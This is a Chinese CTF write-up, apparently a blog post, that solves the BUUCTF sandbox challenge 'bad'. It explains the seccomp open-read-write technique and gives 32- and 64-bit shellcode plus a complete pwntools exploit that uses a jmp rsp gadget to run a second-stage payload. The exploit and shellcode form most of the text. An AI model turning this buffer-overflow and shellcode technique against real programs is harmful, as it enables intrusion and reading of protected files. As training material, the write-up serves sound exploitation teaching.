BUUCTF之Sandbox-bad
首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤
- 使用open函数打开flag
- 使用read函数将flag读到buf
- 使用write函数将buf中的值输出
简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码
fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)
对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。
32-bits
32-bits下的系统调用号
三个函数的系统调用编号
系统调用号 | 函数名 | 入口点 |
---|---|---|
3 | read | sys_read |
4 | write | sys_write |
5 | open | sys_open |
shellcode编写
32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号
;32-bit shellcode
; open flag file
mov eax, 5
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret
64-bits
64-bits下的系统调用号
%rax | System call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
---|---|---|---|---|---|---|---|
0 | sys_read | unsigned int fd | char *buf | size_t count | |||
1 | sys_write | unsigned int fd | const char *buf | size_t count | |||
2 | sys_open | const char *filename | int flags | int mode | |||
3 | sys_close | unsigned int fd |
shellcode编写
64位shellcode汇编代码和32位的思路一样,不同点在于64位系统调用向寄存器传递的参数不同,且64位shellcode建议使用syscall,而不使用int 80中断
64位系统调用汇编寄存器传递参数顺序:rdi,rsi,rdx,r10,r8,r9。最多只能有6个参数,如果参数多于6个不会像用户态一样放到堆栈中,这个是内核接口调用约定和用户接口调用约定有区别
;64-bit shellcode
;open
mov rdi, filepath;
push rdi;
mov rax, 2;
mov rsi, 0; //xor rsi,rsi;
mov rdx, 0; //同理
syscall;
; read
mov rdi 0x3;
mov rax, 0;
mov rsi, buf;buf可以修改成rsp,直接将flag读到栈中
mov rdx, 0x100;
syscall;
;write
mov rax, 1;
mov rdi, 1;
mov rsi, buf;
mov rdx, 0x100;
syscall;
这就是沙箱的大体流程了, 更加具体的我们下面用buu的bad这个题型作为示例
首先我们发现这题使用了seccomp对函数进行了限制,
接着我们用seccomp-tools看一下函数的
然后再检查一下文件,发现什么保护机制都没有。
那么接下来的步骤就很明显了,通过read函数写入一个orw,但是很可惜,通过观察,我们发现这题的buf长度不支持我们写一个完整的orw,所以我们需要另外找一个地址来写入,
通过调试,我们发现一个可读写执行的地址0x123000,那么接下来我们要做的就是如何让rsp跳转到那里了,本来我想的是用栈迁移来解决,但是我发现本题还给了jump rsp,那么我们就可以用这个来做文章了
有了具体目标,我们就先可以把shellcode写下来了
shell='''
mov rdi,0x67616c662f2e; //0x67616c662f2e的意思是galf/. 在小序端的读取下就是./flag
push rdi;
mov rax,2;
mov rdi,rsp;
xor rsi,rsi;
xor rdx,rdx;
syscall;
mov rax,0;
mov rdi,0x3;
mov rsi,0x123000;
mov rdx,0x50;
syscall;
mov rax,1;
mov rdi,1;
mov rsi,0x123000;
mov rdx,0x50;
syscall;
'''
而在pwntools中,我们也可以使用shellcraft模板让其为我们编写汇编
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)
所以之后我们需要做的就是如何让rsp跳转到0x12300这个位置了,而这就要用到我们的read函数了,我们通过read在0x12300上读取一百个字节大小的空间,然后让rsp跳转到0x12300的位置
shellcode='''
xor rdi, rdi
mov rsi, 0x123000
mov rdx, 0x100
mov rax, 0
syscall
mov rax, 0x123000
call rax
'''
payload=asm(shellcode)
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
相同的,在这里我们同样可以使用shellcraft
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode
最后附上我们完整的代码
from pwn import *
context(arch = 'amd64',os = 'linux',log_level='debug')
#io=remote('node5.buuoj.cn',26885)
io=process('./bad')
addr=0x123000
jmp_rsp=0x400a01
mmap=0x123000
shell='''
mov rdi,0x67616c662f2e;
push rdi;
mov rax,2;
mov rdi,rsp;
xor rsi,rsi;
xor rdx,rdx;
syscall;
mov rax,0;
mov rdi,0x3;
mov rsi,0x123000;
mov rdx,0x50;
syscall;
mov rax,1;
mov rdi,1;
mov rsi,0x123000;
mov rdx,0x50;
syscall;
'''
//orw_payload = shellcraft.open("./flag")
//orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
//orw_payload += shellcraft.write(1, mmap+0x100,0x50)
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
gdb.attach(io)
io.recvuntil("Easy shellcode, have fun!")
io.sendline(payload)
payload1=asm(shell)
io.sendline(payload1)
io.interactive()
如图,第一个方框就是orw的shellcode,第二个方框就是我们对mmap空间的开创,并且我们将ROP写到mmap提供的栈的内存上,之后利用jmp_rsp跳转到orw_shellcode的地方。
标签:BUUCTF,read,rdi,bad,mov,Sandbox,rsp,payload,rax From: https://www.cnblogs.com/TFIRE/p/18472874